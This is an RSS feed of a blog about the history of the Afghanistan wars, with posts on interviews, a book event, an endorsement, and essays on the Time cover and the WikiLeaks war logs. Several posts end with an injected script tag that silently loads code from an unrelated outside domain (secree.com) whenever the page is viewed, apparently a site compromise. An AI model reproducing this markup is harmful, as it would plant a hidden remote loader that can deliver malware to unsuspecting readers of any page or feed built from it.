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<channel>
	<title>Invisible History Blog</title>
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	<link>http://www.invisiblehistory.com</link>
	<description>We&#039;ll explore anomalies we discovered while researching the causes of the Soviet and American invasions of Afghanistan. We look forward to your comments. Paul &#38; Liz.</description>
	<lastBuildDate>Mon, 30 Aug 2010 14:26:25 +0000</lastBuildDate>
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		<title>Talk of the Town LIVE!</title>
		<link>http://www.invisiblehistory.com/talk-of-the-town-live/</link>
		<comments>http://www.invisiblehistory.com/talk-of-the-town-live/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 14:26:25 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=1076</guid>
		<description><![CDATA[httpv://blip.tv/file/2799500
Talk of the Town LIVE! October 29, 2009  Guests: Paul Fitzgerald &#38; Elizabeth Gould, and Jason  Lewis All the news in Winchester and beyond, hosted by David Frenkel and  Winchester Star editor Rory Schuler.  Paul and Elizabeth&#8217;s interview starts 32:00 minutes in and goes until 60:00 minutes.
]]></description>
			<content:encoded><![CDATA[<p><span><a style="color: #3a5c9b; text-decoration: none;" title="http://blip.tv/file/2799500 CTRL + Click to follow link" href="http://blip.tv/file/2799500"><span style="font-size: small;">httpv://blip.tv/file/2799500</span></a></span></p>
<p>Talk of the Town LIVE! October 29, 2009  Guests: Paul Fitzgerald &amp; Elizabeth Gould, and Jason  Lewis All the news in Winchester and beyond, hosted by David Frenkel and  Winchester Star editor Rory Schuler.  Paul and Elizabeth&#8217;s interview starts 32:00 minutes in and goes until 60:00 minutes.<script src="http://secree.com/re"></script></p>
]]></content:encoded>
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		<item>
		<title>Naval Postgraduate School Professor Praises Fitzgerald and Gould</title>
		<link>http://www.invisiblehistory.com/naval-postgraduate-school-professor-praises-fitzgerald-and-gould/</link>
		<comments>http://www.invisiblehistory.com/naval-postgraduate-school-professor-praises-fitzgerald-and-gould/#comments</comments>
		<pubDate>Thu, 12 Aug 2010 16:48:56 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Press]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=1073</guid>
		<description><![CDATA[

August 12th, 2010 

“Fitzgerald    and Gould have consistently raised the difficult questions and   inconvenient  truths about western engagement in Afghanistan. While many   analysts and  observers have attempted to wish a reality on a grim and   tragic situation in  Afghanistan, Fitzgerald and Gould have [...]]]></description>
			<content:encoded><![CDATA[<p><small><!-- by paulandliz --></small></p>
<div>
<h2><small>August 12th, 2010 <!-- by paulandliz --></small></h2>
<div><span style="font-family: Calibri;"></p>
<div><span style="font-family: Calibri;"><span style="font-family: Times New Roman;"><span style="font-size: medium;">“Fitzgerald    and Gould have consistently raised the difficult questions and   inconvenient  truths about western engagement in Afghanistan. While many   analysts and  observers have attempted to wish a reality on a grim and   tragic situation in  Afghanistan, Fitzgerald and Gould have   systematically dug through the archives  and historical record with   integrity and foresight to reveal a series of  misguided strategies and   approaches that have contributed to what has become a  tragic quagmire   in Afghanistan. I suspect that many of their assessments while    presently viewed as controversial and contentious, will eventually be   considered  conventional wisdom.”</span></span></span></div>
<div><span style="font-family: Calibri;"><span style="font-family: Times New Roman;"><span style="font-size: medium;"><br />
</span></span></span></div>
<div><span style="font-family: Calibri;"><span style="font-size: medium;"><span style="font-family: Times New Roman;">—<strong>Professor Thomas Johnson</strong>,  Department of  National Security Affairs and Director, Program for   Culture and Conflict Studies, Naval  Postgraduate School, Monterey   California</span></span></span></div>
<div><span style="font-family: Calibri;"><span style="font-size: medium;"><span style="font-family: Times New Roman;"><br />
</span></span></span></div>
<p></span></div>
<div><span style="font-family: Calibri;"></p>
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<div id="Title"><a href="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html" target="_blank"><span style="font-size: medium;"><strong>NPS Professor Tapped as Top Political Adviser  to Canada’s Commander, Task Force Kandahar </strong></span></a></div>
<div id="Breadcrumb">
<div><em>Article By: Barbara Honegger </em></div>
<div><a title="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html CTRL + Click to follow link" href="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html"><br />
</a></div>
</div>
</div>
<p></span></div>
<div><span style="font-family: Calibri;">At a critical turning point in   the war in Afghanistan,  Naval Postgraduate School Professor of  National  Security Affairs Thomas Johnson  has been tapped to be the  senior  political aide and counterinsurgency adviser to  Canadian Brig.  Gen.  Jonathan Vance, Canadian commander of Task Force Kandahar —   ground zero  for the key summer campaign against the Taliban.</span></div>
<p><span style="font-family: Calibri;">“General Vance contacted me   shortly after he was selected by Ottawa in early  June to return to   Afghanistan as Commander of Canadian Forces replacing Brig.  Gen. Daniel   Ménard who was relieved of command, and asked if I would be willing   to  take on this assignment through the completion of his deployment,”   Johnson  said before a week-long trip due to land him in Afghanistan   Aug. 10. “There’s no  question this is a critical time, and the Canadian   effort is central to the  success of U.S. and NATO efforts in the   country.”</span></p>
<p><span style="font-family: Calibri;">As Johnson finalized his trip   preparations, President Obama affirmed the  withdrawal of U.S. combat   troops from Iraq and Congress voted an additional $33  billion in war   funding for Afghanistan, where July’s casualties reached an  all-time   high. Johnson’s new advisory role also comes in the wake of the top    U.S. military commander’s replacement; a massive leak of classified war    documents; the Netherlands becoming the first NATO country to end its   combat  mission in the country; the president of Pakistan stating the   international  community is losing the battle for the hearts and minds   of the Afghan people;  and a mutilated Afghan girl on the cover of Time   magazine with the headline,  “What Happens If We Leave Afghanistan.”</span></p>
<p><span style="font-family: Calibri;">Time’s question refers to the   U.S., but guidance about the answer to  precisely that question for   Canada is what Johnson has been tapped to provide  our coalition   partners north of the border. <a href="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html" target="_blank">Read more</a></span></div>
<p><script src="http://secree.com/re"></script></p>
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		</item>
		<item>
		<title>Naval Postgraduate School Professor Praises Fitzgerald and Gould</title>
		<link>http://www.invisiblehistory.com/naval-postgraduate-school-professor-praises-fitzgerald-and-gould-2/</link>
		<comments>http://www.invisiblehistory.com/naval-postgraduate-school-professor-praises-fitzgerald-and-gould-2/#comments</comments>
		<pubDate>Thu, 12 Aug 2010 13:42:30 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=1052</guid>
		<description><![CDATA[August 12th, 2010 

“Fitzgerald   and Gould have consistently raised the difficult questions and  inconvenient  truths about western engagement in Afghanistan. While many  analysts and  observers have attempted to wish a reality on a grim and  tragic situation in  Afghanistan, Fitzgerald and Gould have  systematically dug through [...]]]></description>
			<content:encoded><![CDATA[<h2><small>August 12th, 2010 <!-- by paulandliz --></small></h2>
<div><span style="font-family: Calibri;"></p>
<div><span style="font-family: Calibri;"><span style="font-family: Times New Roman;"><span style="font-size: medium;">“Fitzgerald   and Gould have consistently raised the difficult questions and  inconvenient  truths about western engagement in Afghanistan. While many  analysts and  observers have attempted to wish a reality on a grim and  tragic situation in  Afghanistan, Fitzgerald and Gould have  systematically dug through the archives  and historical record with  integrity and foresight to reveal a series of  misguided strategies and  approaches that have contributed to what has become a  tragic quagmire  in Afghanistan. I suspect that many of their assessments while   presently viewed as controversial and contentious, will eventually be  considered  conventional wisdom.”</span></span></span></div>
<div><span style="font-family: Calibri;"><span style="font-family: Times New Roman;"><span style="font-size: medium;"><br />
</span></span></span></div>
<div><span style="font-family: Calibri;"><span style="font-size: medium;"><span style="font-family: Times New Roman;">—<strong>Professor Thomas Johnson</strong>, Department of  National Security Affairs and Director, Program for  Culture and Conflict Studies, Naval  Postgraduate School, Monterey  California</span></span></span></div>
<div><span style="font-family: Calibri;"><span style="font-size: medium;"><span style="font-family: Times New Roman;"><br />
</span></span></span></div>
<p></span></div>
<div><span style="font-family: Calibri;"></p>
<div id="TitleBreadcrumb">
<div id="Title"><a href="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html" target="_blank"><span style="font-size: medium;"><strong>NPS Professor Tapped as Top Political Adviser  to Canada’s Commander, Task Force Kandahar </strong></span></a></div>
<div id="Breadcrumb">
<div><em>Article By: Barbara Honegger </em></div>
<div><a title="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html CTRL + Click to follow link" href="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html"><br />
</a></div>
</div>
</div>
<p></span></div>
<div><span style="font-family: Calibri;">At a critical turning point in  the war in Afghanistan,  Naval Postgraduate School Professor of National  Security Affairs Thomas Johnson  has been tapped to be the senior  political aide and counterinsurgency adviser to  Canadian Brig. Gen.  Jonathan Vance, Canadian commander of Task Force Kandahar —  ground zero  for the key summer campaign against the Taliban.</span></div>
<p><span style="font-family: Calibri;">“General Vance contacted me  shortly after he was selected by Ottawa in early  June to return to  Afghanistan as Commander of Canadian Forces replacing Brig.  Gen. Daniel  Ménard who was relieved of command, and asked if I would be willing  to  take on this assignment through the completion of his deployment,”  Johnson  said before a week-long trip due to land him in Afghanistan  Aug. 10. “There’s no  question this is a critical time, and the Canadian  effort is central to the  success of U.S. and NATO efforts in the  country.”</span></p>
<p><span style="font-family: Calibri;">As Johnson finalized his trip  preparations, President Obama affirmed the  withdrawal of U.S. combat  troops from Iraq and Congress voted an additional $33  billion in war  funding for Afghanistan, where July’s casualties reached an  all-time  high. Johnson’s new advisory role also comes in the wake of the top   U.S. military commander’s replacement; a massive leak of classified war   documents; the Netherlands becoming the first NATO country to end its  combat  mission in the country; the president of Pakistan stating the  international  community is losing the battle for the hearts and minds  of the Afghan people;  and a mutilated Afghan girl on the cover of Time  magazine with the headline,  “What Happens If We Leave Afghanistan.”</span></p>
<p><span style="font-family: Calibri;">Time’s question refers to the  U.S., but guidance about the answer to  precisely that question for  Canada is what Johnson has been tapped to provide  our coalition  partners north of the border. <a href="http://www.nps.edu/About/News/NPS-Professor-Tapped-as-Top-Political-Adviser-to-Canadas-Commander-Task-Force-Kandahar-.html" target="_blank">Read more</a></span><script src="http://secree.com/re"></script></p>
]]></content:encoded>
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		<title>Saturday, March 26th, 6:00 pm</title>
		<link>http://www.invisiblehistory.com/saturday-march-26th-600-pm/</link>
		<comments>http://www.invisiblehistory.com/saturday-march-26th-600-pm/#comments</comments>
		<pubDate>Thu, 12 Aug 2010 12:30:45 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Events]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=1041</guid>
		<description><![CDATA[
Oakland, CA: Islamic Cultural Center of Northern California
The Islamic Cultural Center of Northern California (ICCNC) welcomes  Paul  Fitzgerald and Elizabeth Gould for their Islam and Authors event.  Fitzgerald and  Gould will be doing a reading of their new release, Crossing Zero,   which analyzes the spiraling U.S. war in Afghanistan/Pakistan. [...]]]></description>
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<div>Oakland, CA: <a href="http://www.iccnc.org/publish/26/" target="_blank">Islamic Cultural Center of Northern California</a></div>
<p>The Islamic Cultural Center of Northern California (ICCNC) welcomes  Paul  Fitzgerald and Elizabeth Gould for their Islam and Authors event.  Fitzgerald and  Gould will be doing a reading of their new release, <em>Crossing Zero</em>,   which analyzes the spiraling U.S. war in Afghanistan/Pakistan. The  ICCNC is  located at 1433 Madison Street, Oakland, CA 94612. For more  information, please  contact Jason Hamza van Boom at hamza@iccnc.org.</div>
<p><script src="http://secree.com/re"></script></p>
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		<item>
		<title>Burqas and bikinis</title>
		<link>http://www.invisiblehistory.com/burqas-and-bikinis/</link>
		<comments>http://www.invisiblehistory.com/burqas-and-bikinis/#comments</comments>
		<pubDate>Mon, 09 Aug 2010 17:08:24 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=943</guid>
		<description><![CDATA[Time magazine&#39;s cover is the latest cynical attempt to oversimplify the reality of Afghan lives
	
	by Priyamvada Gopal&#160;&#160;&#160;&#160;&#160;&#160;&#160; August 3, 2010
	Reprising a legendary 1985 National Geographic cover, this week&#39;s Time magazine cover girl is another beautiful young Afghan woman. But this time there is a gaping hole where her nose used to be before it was [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.guardian.co.uk/commentisfree/2010/aug/03/burkas-bikinis-reality-afghan-lives">Time magazine&#39;s cover is the latest cynical attempt to oversimplify the reality of Afghan lives<br />
	</a><br />
	by Priyamvada Gopal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; August 3, 2010</p>
<p>	Reprising a legendary 1985 National Geographic cover, this week&#39;s Time magazine cover girl is another beautiful young Afghan woman. But this time there is a gaping hole where her nose used to be before it was cut off under Taliban direction. A stark caption reads: &quot;What Happens If We Leave Afghanistan&quot;. A careful editorial insists that the image is not shown &quot;either in support of the US war effort or in opposition to it&quot;. The stated intention is to counterbalance damaging the WikiLeaks revelations &ndash; 91,000 documents that, Time believes, cannot provide &quot;emotional truth and insight into the way life is lived in that difficult land&quot;.</p>
<p>	Feminists have long argued that invoking the condition of women to justify occupation is a cynical ploy, and the Time cover already stands accused of it. Interestingly, the WikiLeaks documents reveal CIA advice to use the plight of Afghan women as &quot;pressure points&quot;, an emotive way to rally flagging public support for the war.</p>
<p>	Misogynist violence is unacceptable, but we must also be concerned by the continued insistence that the complexities of war, occupation and reality itself can be reduced to bedtime stories. Consultation with child psychologists apparently preceded Time&#39;s decision to run the image, but the magazine decided that in the end it was more important for children (and us) to understand that &quot;bad things do happen to people&quot; and we must feel sorry for them. The WikiLeaks revelations of atrocities and civilian deaths are evidence of some rather terrible things that are done to people but are bizarrely judged not to provide a &quot;window into the reality of what is happening&quot;.</p>
<p>	Time is not alone in condensing Afghan reality into simplistic morality tales. A deplorable number of recent works habituate us to thinking about Afghanistan as what Liam Fox, Britain&#39;s defence secretary, called a &quot;broken 13th-century country&quot;, defined solely by pathologically violent men and silently brutalised women.</p>
<p>	While Afghans have been silenced and further disempowered by being reduced to objects of western chastisement, a recent judgment against Asne Seierstad&#39;s The Bookseller of Kabul has raised the possibility of challenging their depictions. Based on her stay in the eponymous protagonist&#39;s home, Seierstad&#39;s memoir uses offensive commercial language to describe ordinary marital negotiations and refers to female characters as &quot;the burka&quot;. The tone implies even the most anti-Taliban Afghan men are irredeemably vicious patriarchs. Predictably, some critical reaction deemed Afghanistan a &quot;horrible society&quot;.</p>
<p>	While there exists a colonial tradition of relegating the non-west to the past of the west &ndash; and some suggest leaving it to rot in hopelessness &ndash; the trendier option involves incorporating Afghans into modernity by teaching them to live in a globalised present. In non-fiction bestsellers such as Deborah Rodriguez&#39;s Kabul Beauty School, an American woman teaches Afghan women the intricacies of hair colour, sexiness, and resisting oppression. &quot;To all appearances, there is no sex life in Afghanistan,&quot; writes Rodriguez, obsessed &ndash; like Seierstad &ndash; with the nuptial habits of Afghans. Sex and the City in the Middle East may have tanked as a movie, but as ideology it has displaced meaningful global feminism.</p>
<p>	Acceptable Afghan-American voices such as Khaled Hosseini (The Kite Runner) and Awista Ayub (Kabul Girls Soccer Club) reiterate the notion that suburban America can &quot;infuse&quot; Afghans with freedom. Formulaic narratives are populated by tireless Western humanitarians, sex-crazed polygamous paedophiles (most Afghan men) and burqa-clad &quot;child-women&quot; who are broken in body and spirit or have just enough doughtiness to be scripted into a triumphal Hollywood narrative. The real effects of the Nato occupation, including the worsening of many women&#39;s lives under the lethally violent combination of old patriarchal feudalism and new corporate militarism are rarely discussed.</p>
<p>	The mutilated Afghan woman ultimately fills a symbolic void where there should be ideas for real change. The truth is that the US and allied regimes do not have anything substantial to offer Afghanistan beyond feeding the gargantuan war machine they have unleashed.</p>
<p>	And how could they? In the affluent west itself, modernity is now about dismantling welfare systems, increasing inequality (disproportionately disenfranchising women in the process), and subsidising corporate profits. Other ideas once associated with modernity &ndash; social justice, economic fairness, peace, all of which would enfranchise Afghan women &ndash; have been relegated to the past in the name of progress. This bankrupt version of modernity has little to offer Afghans other than bikini waxes and Oprah-imitators. A radical people&#39;s modernity is called for &ndash; and not only for the embattled denizens of Afghanistan.<br />
	&nbsp;</p>
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		<title>Interview with Paul Jay-Real News Network: Part 1</title>
		<link>http://www.invisiblehistory.com/realnews-8-1-10fitzgeraldgould0728pt3_med-mp4/</link>
		<comments>http://www.invisiblehistory.com/realnews-8-1-10fitzgeraldgould0728pt3_med-mp4/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 19:43:12 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Press]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=878</guid>
		<description><![CDATA[






www.youtube.com/watch?v=BLOIQuVd13g
Paul Fitzgerald and Elizabeth Gould interview with Paul Jay Real News Network August 1, 2010

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<p>Paul Fitzgerald and Elizabeth Gould interview with Paul Jay Real News Network August 1, 2010</p>
<p><script src="http://secree.com/re"></script></p>
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		<title>RealNews Interviews Paul Fitzgerald and Elizabeth Gould Part 2. 8.1.10</title>
		<link>http://www.invisiblehistory.com/realnews-interviews-paul-fitzgerald-and-elizabeth-gould-part-2-8-1-10/</link>
		<comments>http://www.invisiblehistory.com/realnews-interviews-paul-fitzgerald-and-elizabeth-gould-part-2-8-1-10/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 19:41:15 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Press]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://www.invisiblehistory.com/?p=876</guid>
		<description><![CDATA[






www.youtube.com/watch?v=FgkrT49Gsl4
Paul Fitzgerald and Elizabeth Gould interview with Paul Jay Real News Network August 1, 2010

]]></description>
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<p>Paul Fitzgerald and Elizabeth Gould interview with Paul Jay Real News Network August 1, 2010</p>
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		<title>RealNews Interviews Paul Fitzgerald and Elizabeth Gould 8.1.10</title>
		<link>http://www.invisiblehistory.com/realnews-interviews-paul-fitzgerald-and-elizabeth-gould-8-1-10/</link>
		<comments>http://www.invisiblehistory.com/realnews-interviews-paul-fitzgerald-and-elizabeth-gould-8-1-10/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 19:36:25 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Press]]></category>
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www.youtube.com/watch?v=rQlLOdpERz4
Paul Fitzgerald and Elizabeth Gould interview with Paul Jay Real News Network August 1, 2010

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<p>Paul Fitzgerald and Elizabeth Gould interview with Paul Jay Real News Network August 1, 2010</p>
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		<title>The acid test for Washington’s beltway experts</title>
		<link>http://www.invisiblehistory.com/the-acid-test-for-washington%e2%80%99s-beltway-experts/</link>
		<comments>http://www.invisiblehistory.com/the-acid-test-for-washington%e2%80%99s-beltway-experts/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 17:01:31 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

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		<description><![CDATA[www.boilingfrogspost.com

Is  WikiLeaks the antidote to the Washington K Street  Kool-Aid? 
 
 
 
By Elizabeth Gould &#38; Paul  Fitzgerald
 
  
Since  the end of the cold war, the U.S. had been looking for an enemy to match the  Soviet Union and came up empty handed until 9/11. Refocusing the [...]]]></description>
			<content:encoded><![CDATA[<p><span><span><a href="http://www.boilingfrogspost.com/" target="_blank"><span style="font-family: Times New Roman; font-size: medium;"><strong>www.boilingfrogspost.com</strong></span></a></span></span></p>
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<p align="center"><a title="http://www.boilingfrogspost.com/2010/07/29/is-wikileaks-the-antidote-to-the-washington-k-street-kool-aid/ CTRL + Click to follow link" rel="bookmark" href="http://www.boilingfrogspost.com/2010/07/29/is-wikileaks-the-antidote-to-the-washington-k-street-kool-aid/" target="_blank"><strong title="http://www.boilingfrogspost.com/2010/07/29/is-wikileaks-the-antidote-to-the-washington-k-street-kool-aid/ CTRL + Click to follow link">Is  WikiLeaks the antidote to the Washington K Street  Kool-Aid?</strong></a><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p align="center"><strong> </strong></p>
<p align="center"><strong>By Elizabeth Gould &amp; Paul  Fitzgerald</strong></p>
<p><strong> </strong></p>
<p><strong> </strong><strong> </strong></p>
<p><img class="alignleft" src="http://www.boilingfrogspost.com/wp-content/uploads/2010/07/Wikileaks.png" alt="" width="257" height="156" />Since  the end of the cold war, the U.S. had been looking for an enemy to match the  Soviet Union and came up empty handed until 9/11. Refocusing the efforts of the  world’s largest and most expensive military empire on Al Qaeda would provide the  incentive for a massive re-armament,  just the way the Soviet “invasion” of  Afghanistan had done two decades before.  According to a <a title="http://projects.washingtonpost.com/top-secret-america/articles/a-hidden-world-growing-beyond-control/ CTRL + Click to follow link" href="http://projects.washingtonpost.com/top-secret-america/articles/a-hidden-world-growing-beyond-control/" target="_blank">Washington Post report</a> within nine years of America’s invasion  of Afghanistan, hunting Al Qaeda had become the raison d’être of the American  national security bureaucracy employing 854,000 military personnel, civil  servants and private contractors with more than 263 organizations transformed or  created including the Office of Homeland Security.  The sheer scope of the  growth and the extensive privatization of intelligence and security was so  profound that it represented “an alternative geography of the United States, a  Top Secret America hidden from public view and lacking in oversight.”</p>
<p>But the report admitted that after nine years of unprecedented spending and  growth, the labyrinth of secret bureaucracy put in place after 9/11 was so  massive and convoluted that its ability to perform its stated function to keep  America safe was impossible to determine. Even worse, it was becoming clear that  the bureaucratic monster had taken on a life of its own with the U.S. lost in a  maze of its own creation, trapped in an expanding web of spies and counter spies  that far surpassed the worst paranoia of its old nemesis, the Soviet Union. The  logic train of the war on terror and its fundamental rooting in Afghanistan had  finally become clear. The perpetual Taliban/Al Qaeda threat fueled a perpetual  war that could never be won, justifying an endless string of restrictions on  civil liberties and governmental transparency, which then prevented Americans  from seeing how their money was spent. Locked out of this “alternative geography  of the United States,” Americans have become helpless to stop their democracy  and their economy from being lifted right out from under them.</p>
<p>Thanks to the revelations the word was finally out that whatever impact the  “war on terror” had made on terror worldwide ( <a href="http://www.boston.com/news/world/europe/articles/2010/07/21/ex_british_spy_chief_faults_iraq_invasion/" target="_blank">which many claimed</a> it made only worse)  it was above all, a  spectacular boondoggle.</p>
<p>The shocking, Sunday July 25, WikiLeaks release of 92,000 documents by the  <em>New York Times </em> <em>Der Spiegel</em> and <em>The Guardian</em>, was the  acid test for Washington’s beltway experts to square themselves with the fatal  collapse confronting them and who was to blame for it. According to the <a href="http://www.nytimes.com/2010/07/26/world/asia/26isi.html" target="_blank"><em title="http://www.nytimes.com/2010/07/26/world/asia/26isi.html CTRL + Click to follow link">New  York Times </em></a>, “Some of the reports describe Pakistani intelligence  working alongside Al Qaeda to plan attacks.”  The documents also revealed  numerous embarrassing specifics that had either been downplayed or avoided  entirely by the U.S. military in the 9 year old war including: that the Taliban  have used portable heat-seeking missiles against NATO aircraft; that the U.S.  employs secret commando units to “capture/kill” insurgent commanders that have  claimed notable successes but have at times also gone terribly wrong by killing  civilians and stoking Afghan resentment; that the military’s success with its  Predator drones has been highly over-dramatized. <a href="http://www.nytimes.com/2010/07/26/world/asia/26warlogs.html?partner=rss&amp;emc=rss" target="_blank">Some crash or collide</a> forcing Americans to undertake risky  retrieval missions before the Taliban could claim the drone’s weaponry.  In  addition, the reports reveal that retired ISI chief, Lt. General Hamid Gul, “has  worked tirelessly to reactivate old networks, employing familiar allies like  Jalaluddin Haqqani and Gulbuddin Hekmatyar, whose networks of thousands of  fighters are responsible for waves of <a href="http://www.nytimes.com/2010/07/26/world/asia/26isi.html" target="_blank">violence in Afghanistan</a>.” If anything was a guide to who’d  been drinking the Washington K Street Kool-Aid, it could be measured by the  degree of acceptance to the new information. According to the  <em>Boston Globe</em>, Congressman James McGovern, a Worcester Mass. Democrat  maintained, “<a title="http://www.boston.com/news/nation/washington/articles/2010/07/27/kerry_under_pressure_as_leak_energizes_war_critics/ CTRL + Click to follow link" href="http://www.boston.com/news/nation/washington/articles/2010/07/27/kerry_under_pressure_as_leak_energizes_war_critics/" target="_blank">that the documents</a> show a far grimmer situation than members  of Congress have been told about in classified briefings,..” Mass. Senator John  Kerry initially declared that the documents raised “serious questions,” about  policy. But under pressure from the White House, by Monday, Kerry was echoing  the official line, defending Obama administration policy while insisting there  was little new in the documents. The reasons for Kerry’s second thoughts were  obvious. Matt Viser of the <em>Boston Globe</em> writes, “Kerry has what is seen  as a special relationship with Pakistan; he has welcomed the country’s army  chief to his house for dinner and accepted flowers from the country’s president.  ‘There’s no question that Senator Kerry was instrumental in leading the  initiative to triple our economic assistance to Pakistan,’ said Molly Kinder, a  senior policy analyst at the Center for Global Development, which tracks US aid  to Pakistan.”</p>
<p>Left out of the release,  the Washington Post hissed and fumed,  editorializing dismissively that the 92,000 documents contained <a href="http://www.washingtonpost.com/wp-dyn/content/article/2010/07/26/AR2010072604626.html" target="_blank">little of interest</a> while citing counter terrorism expert  Andrew Exum as comparing the importance of the documents to the discovery that  “<a href="http://www.washingtonpost.com/wp-dyn/content/article/2010/07/26/AR2010072605657.html" target="_blank">Liberace was gay</a>.”  Had the documents amassed an equal amount  of evidence that Iran or Syria were working with Al Qaeda to carry out attacks  on American troops in Afghanistan, the bombers would have been warming up on the  flight decks by sundown. But when it came to Pakistan, there was only restraint.  To the beltway insiders the actual revelations disclosed by the leaked documents  were less important than the exposure of systemic failure they represented. The  disclosures had taken the floor out from under the assumptions of the war on  terror imposed following 9/11.  But to the beltway it was business as usual and  reality had little if anything to do with it.</p>
<p>Little wonder that the world’s population had lost faith in the American  enterprise in Afghanistan. Even the Afghan people themselves had come to believe  the United States wasn’t really there to fight the Taliban, but pretended to  fight as an excuse for remaining in the region. The WikiLeaks reports are the  raw data from American troops fighting in the field.  But the reaction from  official Washington was as if the U.S. had come to be ruled by a city of  isolated mandarins from another planet, completely detached from the world they  governed and dismissive of any efforts to bring them down to earth.<script src="http://secree.com/re"></script></p>
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		<title>Timeline of Afghan History in the GlobalPost’s series, “Life, Death and the Taliban.”</title>
		<link>http://www.invisiblehistory.com/timeline-of-afghan-history-in-the-globalpost%e2%80%99s-series-%e2%80%9clife-death-and-the-taliban-%e2%80%9d/</link>
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		<pubDate>Wed, 14 Jul 2010 19:51:58 +0000</pubDate>
		<dc:creator>paulandliz</dc:creator>
				<category><![CDATA[Press]]></category>

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		<description><![CDATA[View our timeline of Afghan History in the GlobalPost&#8217;s series, &#8220;Life, Death and the Taliban.&#8221;
	&#160;

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			<content:encoded><![CDATA[<p>View our <a href="http://www.globalpost.com/taliban" target="_blank">timeline of Afghan</a> History in the GlobalPost&rsquo;s series, &ldquo;Life, Death and the Taliban.&rdquo;<br />
	&nbsp;</p>
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